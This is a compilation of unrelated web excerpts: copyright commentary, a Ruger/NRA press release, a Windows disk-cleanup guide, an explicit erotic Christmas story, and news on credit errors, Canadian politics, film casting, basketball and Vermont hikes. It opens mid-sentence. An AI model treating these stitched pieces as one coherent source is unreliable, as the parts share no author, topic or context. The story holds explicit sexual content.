Pirate Bay founder Peter Sunde and vowed not to cave in to the interests of the copyright lobby. But with the change of leadership the MPAA sees new chances, and so Frazier went to Brazil to convince local politicians that tougher anti-piracy laws are needed. In common with most Latin American countries, piracy is widespread in Brazil. According to a recent study more than half of all people living in urban areas regularly pirate movies, something the MPAA believes has to be stopped. In an interview with local newspaper Folha, Frazier commented on the threat piracy poses to the major studios, responding with the classic textbook answers we’ve heard hundreds of times before. “If you do not believe in the value of creativity, the importance of protecting it and the need to reward those who produce, then maybe you can justify piracy. But in that case you’ll be doing great harm to culture,” Frazier said. Please note the words ‘creativity’ and ‘culture’ in his answer, as we’ll come back to that later. The reporter then went on to ask how important copyright really is when 44% of households in Brazil are not connected to the sewer system. Not really a fair question, but Frazier made it very clear that even when people are starving it would be immoral to ‘steal’ entertainment from U.S. corporations. “Obviously, governments and societies have to work to make sure that the population has access to the basics in order to survive, but that does not mean you should ignore other things. Companies must live together because they respect each other and respect that people do not steal from one another. Even if you battle to put food on your plate, it is immoral to steal,” he said. Things got more interesting when Frazier responded in a surprisingly open manner when asked about Creative Commons licenses, which allow for a more flexible approach to copyright. Creative Commons licenses are very popular in Brazil and the reporter wanted to know what the MPAA’s view on this approach is. “They [Creative Commons supporters] don’t always agree with what we advocate,” Frazier responded. “And you are talking about democratizing culture, this is not in our interests. It really isn’t my interest.” Although this answer may not really come as a surprise, combined with his previous answers it shows how subjective the MPAA’s view on creativity and culture is. According to the MPAA piracy is ruining culture, but at the same time they are not allowing others to use even tiny snippets of their works. The MPAA is apparently only interested in creativity and culture when it applies to the works their studios produce. Needless to say, this isn’t necessarily what’s most beneficial to society. The MPAA is merely protecting their corporate interests. For the general public, culture and creativity are probably better off with less restrictive copyright laws. This doesn’t mean that it should be okay to pirate every Hollywood blockbuster, but the laws that are put in place to please the movie studios are the same ones that cripple the creativity of tens of thousands of other artists and the public at large. To the MPAA and many others in the entertainment industry, copyright has little to do with the word right, nor with creativity and culture. Instead, it’s a restrictive tool that allows works to be traded, leased and licensed in return for money. Indeed, democratizing culture is not in the MPAA’s interest, but maximizing profits and control is. -Ruger Delivers On and Extends the "2 Million Gun Challenge" July 26, 2016 Sturm, Ruger & Company, Inc. (NYSE: RGR) is excited to announce the extension of the 2 Million Gun Challenge to Benefit the NRA - which is now the 2.5 Million Gun Challenge! Between the 2015 and 2016 NRA Annual Meetings, Ruger met the challenge goal of selling two million new firearms, for a total donation of $4,000,000 to the NRA-ILA. Ruger CEO Mike Fifer and President/COO Chris Killoy presented Chris Cox, NRA-ILA's Executive Director, with a check for $4,000,000 at the 2016 NRA Annual Meetings in Louisville, Kentucky. "Ruger's continued commitment to supporting the NRA-ILA is outstanding," said NRA-ILA Executive Director Chris Cox. "The funds raised from this program will help us in both our fight to protect America's Second Amendment and our effort to educate voters and get them to the polls this crucial election year." During the challenge period, one of the largest independent distributors of Ruger® firearms, Davidson's / Gallery of Guns, also pledged to donate $1 for each new Ruger firearm they sold. Their effort added more than $350,000 to the NRA-ILA cause. "We believe that everyone in our industry should stand united and fight to protect our Second Amendment rights," said Davidson's CEO and President Bryan Tucker. Mr. Tucker echoed the message of Chris Cox, noting that "Our participation in the Two Million Gun Challenge is one of the ways that we continue to support the NRA-ILA and show our leadership in defense of the American Constitution." Both Ruger and Davidson's / Gallery of Guns have pledged to extend the challenge period through the end of October, to ensure continued support up until the election. Ruger's goal is to sell another 500,000 new firearms - totaling $5,000,000 in donations to the NRA ILA for the 2015-2016 period. Ruger CEO Mike Fifer commented, "With the support of our loyal consumers, we are not only able to make history again, but we also are showing our support of the NRA-ILA during this critical election year. I want to sincerely thank Bryan Tucker and the Davidson's organization for joining us in this challenge. I hope others follow in their footsteps to create a level of support for our Second Amendment Rights and the NRA-ILA that is contagious," Fifer concluded. For more information on the Ruger 2.5 Million Gun Challenge, visit Ruger.com/2Million. To learn more about the extensive line of award-winning Ruger firearms, visit Ruger.com or Facebook.com/Ruger. To learn more about Davidson's Gallery of Guns, visit galleryofguns.com. -10 Ways to free up hard drive space on Windows lists ten methods to analyze and clear used hard drive space on Windows computer systems. While you might say that such a guide is no longer necessary, as we are in the age of the Terabyte hard drive, I respectfully have to disagree. First, older computers running Windows may not use a Terabyte drive as the main hard drive of the system. Second, Solid State Drives, while slowly picking up pace in regards to storage, are mostly used as 512 Gigabyte or less drives. In some cases, computers may have a 120 Gigabyte SSD or even less than that as the main system drive. If you check out Microsoft's newest Surface device, the Surface Pro 4, you will notice that two models come with 128 Gigabyte of storage only. Last but not least, even if your computer has plenty of space, you may want to free up drive space anyway as most of it is dead weight. 10 Ways to free up hard drive space on Windows The following ten methods may be used in conjunction with each other, or individually. Analyze disk space The very first thing you may want to do is analyze the disk space. This gives you a pretty good picture of the biggest offenders space-wise. I like to use WizTree for that but there are plenty of alternatives such as TreeSize Free, the Disk Analyzer of CCleaner, or Xinorbis. WizTree offers two view modes that are both useful. Tree View displays a tree hierarchy of folders and files sorted from largest to smallest. File View on the other hand puts the focus on files only. Both are useful in determining which folders and files use a lot of space. You may want to jump to the methods below that are most lucrative when it comes to freeing up disk space. If you spot a 16 Gigabyte Page File for instance, you may want to start there by reducing it. Previous Windows installations / Updates Cleanup When you upgrade Windows to a new version, a copy of the old version is kept for a period of time. This is done to give you the option to restore the old version should you run into issues or are dissatisfied with the new version of Windows. This copy may take up more than ten Gigabyte of storage space. It is a bit different for updates. When you install updates, old updates or files may become useless as they are replaced by new files. Windows keeps these around as well and does not remove them. Updates cleanup refers to removing outdated update files that are no longer required. Note: if you remove old Windows installation files or old updates, you have no option to go back anymore. It is suggested to use the operating system for a time before running these clean up operations. Tap on the Windows-key, type Disk Cleanup and hit enter. Confirm the UAC prompt that is displayed. Select the main drive (c usually), and click ok. This comes up only if more than one drive letter is used by storage devices. Click on "clean up system files" when the Disk Cleanup window pops up. Select the main drive again, and click ok. Each entry is listed with the disk space it occupies currently. While you may check them all, it is suggested to only check the items that you know you don't need anymore. Select "previous Windows installation(s)" to clear up old Windows installation files, and "Windows Update Cleanup" to remove old files that are no longer required. You may also want to consider removing log files, system dumps, and temporary files. Patch Cleaner is a third-party program that you may use to remove old updates no longer needed. Pagefile The Pagefile, located at x:\pagefile.sys where x is the drive letter, may appear like a relic of the past to you, especially if you have plenty of memory installed. It is used for caching, and using a fixed or dynamic amount of disk space for that. It may be quite large, 8 or more Gigabytes by default which usually is not required. Use the keyboard shortcut Windows-Pause to open the System Control Panel applet. Select Advanced System Settings when it opens. Click on the settings button under Performance when the System Properties window opens. Switch to the advanced tab and click on the change button under Virtual Memory. This displays all hard drives connected to the PC and the paging file size for each drive. You may change the paging file size by selecting a drive, switching to custom size, and adding initial size and maximum size values. You may also consider disabling the page file for secondary hard drives as well. As an example: on a computer with 16 Gigabytes of RAM, I set the pagefile size on drive c to 2 Gigabyte, and disabled it on all other drives. This worked well and I did not notice any issues using the computer this way. The initial pagefile size was 8 Gigabyte on the computer, which means that I regained 6 Gigabytes of disk space. Hibernate Hibernate is a power state in which everything that is open at the time is saved to disk. The idea is to load the content again from disk when the PC is fired up the next time so that you can resume exactly where you left. The data is saved to the file hiberfil.sys. Obviously, it makes little sense for you to disable Hibernation if you make use of the feature. If you don't however, you will free up Gigabytes of disk space by disabling the feature. Tap on the Windows-key, type cmd.exe, hold down the Ctrl-key and Shift-key, and hit enter. Confirm the UAC prompt that appears. This opens an elevated command prompt. To disable Hibernate, run the command powercfg.exe -h off. To turn it on again, run the command powercfg.exe -h on. The hiberfil.sys file is removed from the system as soon as you disable Hibernation. System Restore System Restore is a backup feature of the Windows operating system that uses disk space to store system snapshots. These snapshots may be created automatically by Windows, for instance before updates are installed, or manually by the user. Basically, what System Restore allows you to do is roll back the system to a recent state. System Restore may reserve quite a big of hard drive space for its functionality, and one option that you have to free up disk space is to reduce the reserved space. This means fewer snapshots that System Restore maintains at any point in time though. Use the keyboard shortcut Windows-Pause to open the System Control Panel applet. Click on "System Protection". The window that opens lists all drives and their protection state. On indicates that System Restore is enabled for the drive, off that it is turned off. Locate the main drive letter (usually c) and click on the configure button. This opens a new window with two main options: 1) turn system protection on or off and 2) change the maximum disk space usage of System Restore. You may reduce System Restore's max usage a couple of percent. How much depends entirely on you and other backup strategies you may make use of. I have set it to 2% on the main drive, and turned it off on all other drives. Clear Temporary Files Programs and Windows may use temporary files. Web browsers use them to store website files locally to speed up future visits. Temporary files are never essential, but they may help speed things up and perform certain operations faster. While it is certainly possible to clean temporary files manually, or through the settings in individual programs, it is often better to use specialized software for that. You may use Windows' own Disk Cleanup -- referenced above -- for that to a degree, but third-party programs like CCleaner or PrivaZer do a better more thorough job when it comes to that. CCleaner separates between Windows and Applications. Windows covers native programs and features such as Internet Explorer, Microsoft Edge or Windows Explorer. All you have to do is select the areas that you want analyzed for disk space usage and temporary files. Once done, hit the analyze button to check these locations and display the data they contain currently. You may then add or remove options or click on run cleaner to clear the temporary files. Note: If you select cookies under browsers, you will be logged out of services you are signed in at the time. You may also lose access to your browsing history if you select to clear the history. Tip: CCEhancer adds support for additional temporary file locations and programs to CCleaner. Move Temporary Files / Downloads Clearing temporary files is just a temporary solution to space issues you may experience. Programs and Windows continue to add temp files to the system as you use them. While you may run temporary file cleaners regularly to keep the data use in check, you may also want to consider moving folders to another drive if available. How that is done depends on the program you are using. Most web browsers for instance let you pick a download folder where all files get downloaded to. Some allow you to select temporary file locations as well, and the same is true for Windows. To move temporary file locations in Windows, do the following: Use the Windows-Pause shortcut to open the System Control Panel applet. Select Advanced System Settings when the window opens. Select Environment Variables when the next window opens. Locate the user and system variables TEMP and TMP. Note that they point to a directory on the hard drive, by default C: \Windows\TEMP for system variables and AppData\Local\Temp for user variables. Double-click on a TEMP or TMP entry, and change the drive letter and path to the temporary files folder to another drive. Check out these guides on how to change the IE and Edge download folder, or move the Firefox cache to another drive as examples on how to do that. Uninstall Programs Programs, and especially games, may take up a whole lot of disk space. Modern games are Gigabyte-sized, and it is uncommon that games use thirty or more Gigabyte on the hard drive when installed. One option to free up disk space is to remove programs and games that you don't require anymore. While you may use Windows' native tools to remove programs, it may not be the best of ideas for two reasons. First, Windows runs only the uninstaller but no cleanup operations afterwards. Second, third-party tools may provide you with size information on top of that which may help you during the selection process. Programs like Revo Uninstaller, or Geek Uninstaller offer that functionality. If you use Revo Uninstaller, switch to the details view mode after the program listing has been populated initially. Click on size then so sort the listing by file size. Move files / programs You cannot uninstall programs if you still require them. Moving may be an option in this case then, provided that you have another hard drive available. Please note that you may need to take hard drive performance into account as well. If you move a game from a fast Solid State Drive to a low spinning 5400 rpm platter-based drive, you will notice longer loading times. I have covered the process before, check out how to move large apps or games to another drive, for all the instructions you need. The basic idea is the following one: you move the app or game to another drive, and use symbolic links to make them point from the new location to the old one. All files are then accessible from the old and new location so that you don't lose any functionality. Duplicate files Duplicate files are another thing that you may want to look into. The gain depends largely on how the computer is used. If you like to download large bulk archives from the Internet for instance, or use different programs for the same purpose, thing file synchronization, then you may end up with duplicate files on the system that may take up a bit of disk space. The best way to handle this is to use third-party programs to find duplicate files on the system. There are numerous programs that provide you with that functionality: CloneSpy, DoubleKiller or Duplicate Commander are just three. The main difference between the programs may be the methods used to determine duplicates. Basic duplicate file finders compare file names and extensions only. More advanced programs may use hashes instead, or even use fuzzy logic to find nearly identical files (think a photo that is available in two different resolutions). Resources You may find the following resources useful. They may review programs that you may find useful, or provide additional information on certain clean up methods. Now You: Have another tip? Let us know in the comments. Summary Article Name 10 Ways to free up hard drive space on Windows Description The guide lists ten methods to free up disk space on Windows computers using various native and third-party programs. Author Martin Brinkmann Publisher Ghacks Technologyg News Logo Advertisement -The following is a short, but sweet sexy story that I wrote to get everyone in the holiday spirit. With Christmas only a few days away, I thought I’d write a little something to celebrate the season, as only an aspiring erotica/romance writer can. It’s not as long or elaborate as my last holiday-themed novel, “Holiday Heat.” It’s just a simple little story that mixes love, sex, and the holidays into one sweet little narrative. Enjoy! It was set to be the loneliest Christmas she’d had since her grandmother died. Jessie should’ve been used to it, having lost her father at a young age and endured many quiet Christmas mornings with few presents and limited festivities. However, she’d come to love bigger, more elaborate moments as she grew older. After meeting her boyfriend, Robby, she thought those quiet mornings were over. For the past three years, he’d gone out of his way to make Christmas extra special for her. He came from a big family and going over to his house was like entering a holiday paradise, full of elaborate meals, abundant presents, and a buffet of succulent deserts. Thanks to him, she’d grown to love Christmas and being part of Robby’s family. Then, about a month ago, Jessie got a double dose of bad news that promises to derail her Christmas entirely. Robby’s father got sick with severe bronchitis and had to spend several months in Florida with his brother recovering. Most of the family was going to follow suit and join him for Christmas. Jessie thought she’d be going with him. That was when the second bit of bad news dropped. Her mother got into a car accident, breaking a leg and injuring her back. She ended up needing surgery, the kind that required a recovery period that extended beyond the holidays. As a result, a plane trip to Florida just wasn’t feasible. She had to stay home and Jessie couldn’t leave her. She needed her help around the house as she recovered. That meant no elaborate feasts and festivities with Robby’s family. It also meant her mother’s ability to celebrate was severely limited. The most they could do was exchange some gifts, having a light meal, and watch Christmas specials all day. If that weren’t bad enough, a snow storm had rolled in and few relatives would be able to drop by to help. It made Christmas Eve feel even colder than it already was. After spending most of the day putting up decorations and keeping her mother comfortable, she felt too tired to be festive. It seemed like this year’s Christmas would be the same quiet, uneventful affair that left her so jaded as a kid. When she curled up in her old bedroom that night, having agreed to sleep over at her mother’s house to make things easier on Christmas morning, Jessie expected this year to be one of the most forgettable holidays of her adult life. “Guess this year counts as one big setback,” she sighed to herself after turning off the light, “and just when I was starting to really like the holidays again. Maybe I’m just not meant to enjoy Christmas like most people. Maybe I just can’t be part of Robby’s festive world.” It sounded so sad when she said it out loud. It made her want to cry right then and there. Jessie ended up burying her face in her pillow, muffling her voice and absorbing any tears she’d shed. The best she could do, now, was rest up and brace for another solemn holiday. She tried not to think about all the elaborate ways Robby’s family were enjoying themselves down in Florida. She swore she could smell the chocolate pie his mother made or his sister’s succulent cookies from 800 miles away. Most of all, Jessie tried not to think of how great it felt when Robby held her in his arms, even when he wore that ugly old Christmas sweater that he’d bought in college and refused to throw away. It was nothing short of torturous, contemplating what she’d miss. Not being with Robby and his family was like the antithesis of a Christmas miracle, a gut-punch to her holiday spirit. She wanted to make the most of the time she had with her mother, but between her injuries and her tendency to recount sad memories of her father during the holidays, it wasn’t looking good. Jessie closed her eye, groaned into her pillow, and just wished she could skip the holidays entirely. “It’s not fair!” she lamented. “Why does Christmas have to suck so much? Just this once, can I get a break?” Jessie kept her face buried in her pillow, muttering a string of curses in hopes she’d just pass out from frustration. She was so tired that she was ready to just let the rest of the holidays pass her boy completely. Then, just as she was about to nod off, she heard a loud thump against her window. Considering her room was on the second floor of her mother’s house, that was pretty rare. At first, she thought it was just a large chunk of snow blowing off one of the trees and hitting the side of the house. However, another thump followed, along with a familiar voice. “Jessie!” it said through the cold December night. “Open the window. It’s me!” Almost immediately, Jessie’s ears perked up and she shot up from the bed. She’d recognize that voice through a window, a snow storm, and a goddamn hurricane. It was Robby, but that should’ve been impossible. Either she was having one of those vivid Christmas dreams or her boyfriend was actually outside her window somehow. Both seemed unbelievable. “Hurry up, Jessie!” he said. “It’s colder than penguin’s ass out here. Only your ass can warm me up at this point.” “Holy shit, it is him!” Jessie gasped. There was no denying it. Only Robby could’ve said something so crude, yet so cute to her on a cold winter night. That meant he was really there. It wasn’t a dream. With the energy of a kid on Christmas morning, Jessie shot up from the bed and over towards the window. Sure enough, she saw Robby outside, standing atop a ladder with his hand pressed against the glass. Where he got the ladder and why he was here instead of Florida were just some of the many burning questions she had. Seeing the heavy snow falling outside, she set them aside and opened the window so he could get in. As soon as the window opened, he crawled into her small, yet cozy room. He was shivering, despite wearing multiple layers, but he still had that goofy, lovable smile on his face. Not questioning whether or not it was a dream, Jessie just took him in her arms and hugged him. “Robby! Oh my God, it is you!” Jessie exclaimed. “Yep,” he said, shivering as he hugged her back. “I’m here. Tropical weather, warm beaches, and sunny mornings were nice and all for the holidays…except, it didn’t have you.” “And you ditched your family to be with me, your hapless girlfriend?” she said curtly. “I didn’t ditch them. They urged me to come here. Even my dad said this is where I should be on Christmas…with the woman I love, in her time of need, celebrating the holidays with her.” “That…might just be the most romantic thing any man has ever said to me.” “You mean fully clothed, right?” “No, Robby. I don’t,” Jessie said strongly. Her heart was racing. In an instant, the notion that she would endure a lonely, uneventful Christmas faded completely. Even if she couldn’t spend it in Florida with Robby’s family, just being in his arms and feeling his loving embrace was enough to reinvigorate her holiday spirit…among other things. In an outburst of passion and holiday spirit, Jessie kissed her thoughtful boyfriend with all the love and heart of a million Christmas specials. He eagerly kissed back, even as he shed the heavy coat he’d been wearing to brave the cold. However, she quickly made it clear that she didn’t want him to stop there. “Robby…you came all this way to be with me,” she told him. “So be with me.” “Well, I was going to ask for some hot cocoa to warm up first,” he said playfully, “but if this is how you want to warm me up…” Jessie didn’t let him finish. She was too excited and impassioned to waste another second of this Christmas miracle. Robby was here now, in her room and in her arms on Christmas Eve. That was proof enough that he loved her just that much. Her only Christmas wish from that point forward was to return that love and that wasn’t something she could do fully clothed. Not caring how wet and cold his clothes were, Jessie helped him strip out of them bit by bit. By the time he was down to his boxers, his skin still felt so cold, but his lips felt so hot. That was all the reason she needed to jump him where he stood, throwing her arms and legs around him and her body heat mesh with his. The cold and the long trip must have made him extra impassioned as well. As soon as he caught her in his arms, he carried her over to her bed. Together, they crawled under the covers where they made out like a couple of horny prom dates. Already, she felt his flesh warming up, but hers was already too hot to bear. It led her to remove her sleeping attire, with Robby’s help. “Off…get it all off,” Jessie urged him. She quickly slid her tight-fitting cotton shirt off over her head while Robby removed her sweatpants, panties and all. His boxers soon followed, revealing a semi-hard dick that even the December cold couldn’t temper. It showed just how much he wanted her sex and her love. “Ooh Jessie,” Robby gasped as he took in her naked body. “Robby…make love to me,” she told him. For a moment, he just gazed at her with his loving eyes. It felt like the gaze of a Christmas angel, one who’d answered her payers for a holiday miracle. There wasn’t just a deep love in his eyes. There was a desire to mend the pain of so many cold and lonely holidays. Those feelings, and the powerful desires behind them, led him to embrace her naked body as only he could. Jessie eagerly embraced him back with desire of her own, wrapping her arms and legs around him as he got on top of her. Then, in what might have been the greatest Christmas gift anyone had ever given her, Robby made love to her. It was so raw, yet focused…so intense, yet affectionate. Under the thick covers, the rippling muscles of his manly body glided against the sensual curves of her feminine figure. His flesh melded with hers, sinews entwined like a million pieces coming together to form a single whole. Her body welcomed his, taking him into her depths and feeling his flesh, as well as his love, fill her with every movement. The sensations that followed were intense and hot, not an easy feat on such a cold, snowy night. It didn’t matter, though. They could’ve been at the North Pole and it wouldn’t have mattered. She and Robby were going to make hot sex and passionate love tonight. There was no way around it. Jessie had no idea how long they went at it or how many times she’d climaxed in the process. With Robby, it was so easy to lose track. It could’ve been as many as ten, but no fewer than three. All she knew that when all was said and done, they were warmer and more content than any couple could’ve been on Christmas Eve. “I love you, Jessie,” Robby said to her, breathless from so much spent passion. “I love you too, Robby,” she told him, “and thank you…for making this the best Christmas ever.” “You’re welcome, babe.” They shared one last passionate kiss before settling into a blissful state of post-coital afterglow. Now lying atop his naked body, the thick comforter draped over them, Jessie gazed up at her wonderful lover. He looked so happy, despite not being with his family in a tropical climate. The way he held her in his arms made clear that there was nowhere else he’d rather be. She made sure he knew the feeling was mutual, holding him closely and listening to his heart beating in his chest. She made sure he fell asleep knowing how much she loved him. She could do no less for the lover that had captured her heart and saved her Christmas spirit. The next morning, Christmas morning, Jessie awoke to find that her lover was still in her bed and they were still as naked as they’d been when they fell asleep. Robby was still fast asleep. Being a deep sleeper, especially after sex, she didn’t expect him to wake up for a good long while. That was just fine with her, though. Jessie would’ve been perfectly content spending the whole day like this, lying in bed with her lover and creating all sorts of sexy Christmas memories. However, that plan fell apart the moment her bedroom door opened and her mother entered, leaning hard on her crutches and looking as restless as any adult on Christmas morning. “Jessie, are you up yet?” her mother greeted, as though she didn’t even noticed Robby. “Mom?!” Jessie gasped, immediately holding the comforter up to her naked body a little closer. It was embarrassing, but not as mortifying as it could’ve been. Her mother knew she was a grown woman. She also knew that she and Robby had been intimate before. That still didn’t mean she liked her mother barging in her room when she was naked with her lover. However, she didn’t seem all that taken aback and Robby barely stirred from his slumber. “I put the coffee on. If you want to open presents, get up and get dressed already,” her mother told her. “Mmm…sounds good,” said Robby groggily. Still holding the blanket up to her body, Jessie was confused, if not mildly amused. She looked over at Robby, who had that goofy smile on his face again. Then, she looked back at her mother, who had a similar smile. She had a lot of questions, but she had a feeling the answers weren’t going to make this Christmas any less memorable. “Um…mind filling me in on some context here?” Jessie asked awkwardly. “Jessie, sweetie,” her mother said with a wide grin, “who do you think lent him the ladder?” -In the United States, a credit zombie is a person who has been erroneously declared dead by the Social Security Administration by being listed in its Death Master File (commercially known as the Social Security Death Index). It is unclear why living people are added to this list.[1] As a result of the listing, credit bureaus return reports of "deceased" to entities seeking checks on the individuals' credit reports, which can prevent people from attaining credit, receiving government benefits, renting apartments, or securing jobs, and interfere with anything involving credit checks or Social Security. Credit zombies may even find their bank accounts frozen and have no access to their money. The term "credit zombie" is an analogy to the concept of the zombie being a person who was once alive walking around as if he still is. A credit zombie is someone who is officially dead, while it is obvious that person is actually alive. The Social Security Administration accidentally declares about 1,000 people dead each month in its Death Master File. It is estimated that there could be 500,000 credit zombies in the U.S.[1] See also [ edit ] -SINCE leading his Liberal Party back to power in Canada last October, Justin Trudeau has been profiled in such glossy magazines as Vanity Fair and Vogue; Hello’s photo spread featured his wife and children. On March 10th he will sit down with Barack Obama at a state dinner in the White House, the first for a Canadian leader in 19 years. “I can’t think of a Canadian politician who has attracted as much attention in the United States,” says Laura Dawson of the Canada Institute at the Woodrow Wilson Centre in Washington. Mr Trudeau owes his celebrity to more than glamour. He succeeds Stephen Harper, a prickly Conservative, who in ten years as prime minister conducted an ideologically charged foreign policy at odds with Canada’s multilateralist traditions. His relationship with the United States, by far Canada’s most important, was tense. Mr Trudeau replaces a scowl with a smile. He personally greeted some of the 25,000 Syrian refugees Canada agreed to admit. Such gestures have helped bring back to life the Trudeaumania inspired by the prime minister’s father, Pierre Trudeau, a dashing Canadian leader of the 1960s, 70s and 80s. “But how,” Ms Dawson wonders, “do we translate celebrity into influence?” Get our daily newsletter Upgrade your inbox and get our Daily Dispatch and Editor's Picks. Mr Trudeau’s answer: by returning to Canada’s diplomatic traditions. It is the world’s tenth-largest economy; as a military power, it counts for less. It has historically sought to increase its modest clout by working through international bodies such as the UN and the Commonwealth. Mr Harper spurned them as talking shops for despotic regimes. He refused to support a global accord on climate change (or introduce a credible policy in Canada). Co-operation is back in, says Stéphane Dion, the new foreign minister. His “mandate letter” from Mr Trudeau directs him to resume working through the UN. Mr Trudeau signed the global climate agreement reached in Paris in December. He was due to meet Canada’s 13 provincial and territorial leaders on March 3rd to talk about a national climate strategy and may announce a climate initiative with Mr Obama. The prime minister intends to re-establish diplomatic relations with Iran and to revive Canada’s relationship with Mexico, its partner, along with the United States, in the North American Free-Trade Agreement. He promised to lift visa restrictions on Mexicans, imposed in 2009 to stem an influx of asylum-seekers and an irritant ever since. He is not rolling back all Mr Harper’s policies. Canada is likely to ratify the free-trade agreement with the European Union, which Mr Harper negotiated. It may also join the Trans-Pacific Partnership among a dozen Asian and American countries. “We should not change everything,” said Mr Dion in a recent speech. If Mr Trudeau just gets along with Mr Obama, that will be a significant change. The two sporty leaders have engaged in pre-prandial raillery about which country’s ice-hockey teams are better. Mr Obama has taken with equanimity Mr Trudeau’s decision to withdraw Canada’s six fighter planes from the United States-led fight against Islamic State; Canada is increasing humanitarian aid and the number of troops advising Iraqi Kurds instead. The Keystone XL pipeline to carry crude from Alberta to the southern United States, greatly desired by Mr Harper but vetoed by Mr Obama, is unlikely to figure much in the dinner-table conversation. That leaves trade and tax. The United States is the market for three-quarters of Canada’s goods exports and the source of two-thirds of its imports, but commerce could flow more freely than it does. The “beyond the border” agenda is supposed to accomplish that but has hit a snag: a disagreement over what law will apply to United States officials stationed in Canada to pre-clear goods for import. A row over Canadian softwood lumber, which the United States says is subsidised, could get worse. Canada objects to a United States law that obliges its banks to hand over information about accounts held by expatriates (see article). But the main threat to Canadian-American relations will not come from anything the two leaders feasting in the White House might do. It comes from the loud-mouthed property mogul who aspires to be the building’s next occupant. -Andy Johnson, CTVNews.ca An email from the Prime Minister's Office used combat-like language in a discussion about helping new cabinet ministers transition into their jobs, suggesting a list of "friend and enemy stakeholders" was needed as part of the orientation process. The email, obtained by CTV, was sent to ministerial staffers by Erica Furtado in the issues management department of the PMO with the subject line 'Transition Binder Check List." It outlined the information staffers needed to compile for incoming cabinet ministers. The list includes topics such as what to say at Question Period, hot-button issues to look out for, even what to avoid ("pet bureaucratic projects") and who to avoid: "bureaucrats that can't take no (or yes) for an answer." Item nine on the 10-item list is: 'Who to engage or avoid: friend and enemy stakeholders." The goal is to highlight “problematic” bureaucrats, environmental groups, industry or civic associations, a source told CTV News. Brent Rathgeber, an Alberta MP who resigned from the Conservative caucus last month, said the “enemy” list requests expose the inner workings of Prime Minister Stephen Harper’s government. “The PMO staffers see the world in two colours: black and white,” he said. “You’re either good or bad, or in this case, you’re either friendly or evil.” Here is the full transition binder checklist: What to say in question period; What to expect soon: hot issues, legal actions and complaints; What to expect later: long-term issues; What to do: status of mandate items, off-mandate items; What to avoid: pet bureaucratic projects; Who to avoid: bureaucrats that can't take no (or yes) for an answer (this item was dropped from the list) What to attend: upcoming events, meetings and FPTs (federal/provincial/territorial meetings); Who to appoint: Outstanding GICs (Governor in Council appointments) and hot prospects; Who to engage or avoid: friend and enemy stakeholders; Private Members Bills -- lines and caucus packages. But newly minted Immigration Minister Chris Alexander said the checklist wasn’t in his briefing books. “I’ve never heard of them, I’ve never seen them. They’re not part of the orientation process for a new minister, in my case,” he said. Julie Vaux, a spokesperson for the PMO, issued a statement Tuesday responding to the report about the leaked email. However, she declined to speak specifically about the transition checklist. “While we don't comment on internal communications, we are collaborating with our ministers, especially new ministers, to ensure they are fully briefed so they can continue their work on behalf of Canadian taxpayers,” Vaux said in an email to CTV News. Deputy NDP leader Megan Leslie called the revelations part of an “alarming pattern” of partisanship within the Conservative party. “It’s very troubling that the first thing new ministers are being told about their new responsibilities is who to ignore in their own departments and which Canadians to put on the Conservatives’ blacklist -- they seem to think that anyone who disagrees with Stephen Harper is their “enemy,” Leslie said in a statement. On Monday, Harper announced the appointment of eight new cabinet ministers -- four women and four men -- as part of the largest cabinet shuffle since he first took office. With a report from CTV’s Richard Madan -Production is due to start early next year on the long-awaited follow-up to Anchorman, with Will Ferrell and Steve Carell leading the returning cast. Entitled Anchorman: The Legend Continues, Adam McKay is directing again too, with the plan being to release the film before 2013 is out. The further plan also seems to add a new love interest to the movie, and The Wrap is reporting that Kristen Wiig is in talks to take on the role. She would "play opposite Steve Carell", which suggests that it's Brick who will be finding romance. Crikey. Wiig, whose biggest hit to date has been Bridesmaids (which she co-wrote), would join the likes of Christina Applegate and Paul Rudd in the cast. More on Anchorman 2 when we get it. The Wrap. Follow our Twitter feed for faster news and bad jokes right here. And be our Facebook chum here. -Rockets center Clint Capela ready to keep pace with Charlotte Hornets' Dwight Howard Having had perhaps the best game of his career in a matchup with the star center of his draft class, Rockets center Clint Capela will move to the star center on his team after he was drafted. Capela had a career high 20 rebounds along with 16 points and four blocked shots against Joel Embiid and the 76ers on Wednesday. He will go from that performance to a meeting Friday with Dwight Howard and the Hornets, offering Capela how far he has come as he starts his fourth season. “Every single game against Dwight is special for me,” Capela said. “It reminds me of my first days in Houston when I was looking up to him, looking at him as the superstar. I also watched him growing up. It always means a lot to me to play against him.” Howard averaged 22 points and 19 rebounds against Capela and the Rockets last season, making 18 of 21 shots in a pair of Hawks wins. Capela, however, played well against Howard, averaging 16 points and 9.5 rebounds, with 22 points in the second meeting. Houston Rockets' Clint Capela (15) dunks the ball in the first half of an NBA basketball game against the Philadelphia 76ers, Wednesday, Oct. 25, 2017, in Philadelphia. (AP Photo/Michael Perez) Houston Rockets' Clint Capela (15) dunks the ball in the first half of an NBA basketball game against the Philadelphia 76ers, Wednesday, Oct. 25, 2017, in Philadelphia. (AP Photo/Michael Perez) Photo: Michael Perez/Associated Press Photo: Michael Perez/Associated Press Image 1 of / 3 Caption Close Rockets center Clint Capela ready to keep pace with Charlotte Hornets' Dwight Howard 1 / 3 Back to Gallery If Nene is out as expected, Capela could play roughly 30 minutes, as he did against the 76ers when he was able to run the floor and wear down Sixers star Joel Embiid. “Twenty rebounds, we’ll frame the box score,” Rockets coach Mike D’Antoni said. “He can do that every night. We’re trying to push him. Clint was good, real good. “I thought (Embiid) got tired. We told (Capela) we need to run him every time. The only weapon we have is to run him, lean on him, make him work. I thought Tarik Black came in and put his body on him. It’s like a boxing match. Your legs get tired.” The Rockets would likely have a similar strategy against Howard who is much better prepared to keep pace with Capela. Capela, however, was not at all surprised by his success against Embiid. “I told you it was to prove to everybody and myself I can do it,” Capela said. “I’m a guy that watches a lot of video. I watch a lot of Embiid. I watch a lot of bigs. I want to be an expert on that. These kind of opportunities to show I can play with those guys is good.” -Vermont is beautiful in all four seasons, and exploring the mountains and valleys on foot is one of our favorite pastimes. We’ve been trekking and meandering the hiking trails in Southern Vermont with our kids for the past 12 years, and we figured it was high time we share our favorites with you. The following hikes, rambles, and walks are perfect for novice hikers or families with children. Most are under five miles, and all have a kid-friendly feature to help entice them along. The best way to encourage my own kids down a trail is with the promise of water for swimming. We’ve got a few more tricks up our sleeves if you’re interested, but a good many of our favorite trails surround lakes, meander along rivers, or end up at the bottom of waterfalls. More serious hiking opportunities will be covered in another post. Today, we’re going to focus on easy day-hiking in Southern Vermont, including trails in Bennington, Manchester, Stratton, Wilmington, Brattleboro, and Putney. Easy Hiking Trails in Southwestern Vermont Lake Shaftsbury State Park, Shaftsbury, Vermont This 84-acre park is small but 